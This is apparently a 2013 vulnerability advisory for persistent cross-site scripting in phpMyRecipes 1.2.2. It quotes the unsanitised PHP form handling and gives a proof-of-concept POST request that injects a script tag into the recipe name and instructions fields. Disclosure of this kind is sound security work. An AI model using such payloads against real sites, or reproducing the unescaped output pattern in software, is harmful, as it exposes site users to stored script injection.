phpMyRecipes version 1.2.2 suffers from multiple persistent cross site scripting vulnerabilities.
9ee74a35b8f01ce1962bdb0304e813e3d1601e6030bd495015c297cb735c1093
Exploit title: phpMyRecipes 1.2.2 Persistent XSS
Date: 2/2013
Author: PDS - trollsandpwnies@gmail.com
Severity: medium
Software link: https://php-myrecipes.svn.sourceforge.net/svnroot/php-myrecipes/phpMyRecipes-main
addrecipe.php and editrecipe.php are vulnerable to persistent cross site scripting. User supplied input is not sanitized before being displayed on the page.
ex:
$r_id = $_POST['r_id'];
$r_name = $_POST['r_name'];
$r_category = $_POST['r_category'];
$r_servings = $_POST['r_servings'];
$r_ingredients = $_POST['r_ingredients'];
$r_instructions = $_POST['r_instructions'];
$r_description = $_POST['r_description']
---------------------------------------------------
<TD ALIGN=LEFT VALIGN=MIDDLE><INPUT TYPE=text NAME="r_name" VALUE="<?php print $val_name; ?>" SIZE=40 MAXLENGTH=80></TD>
<TD ALIGN=LEFT VALIGN=TOP><TEXTAREA NAME="r_instructions" COLS=60 ROWS=20><?php print $val_instr; ?></TEXTAREA></TD>
POC
----
Register,sign in, and add a new recipe or simply modify an existing recipe.
In the recipe name or instructions field inject javascript.
POST /recipes/addrecipe.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
r_name="><script>alert(0)</script>&r_category=13&r_servings=1&r_difficulty=1&i_qty=&i_unit=4&i_item=0&i_item_text=&r_instructions="><script>alert(0)</script>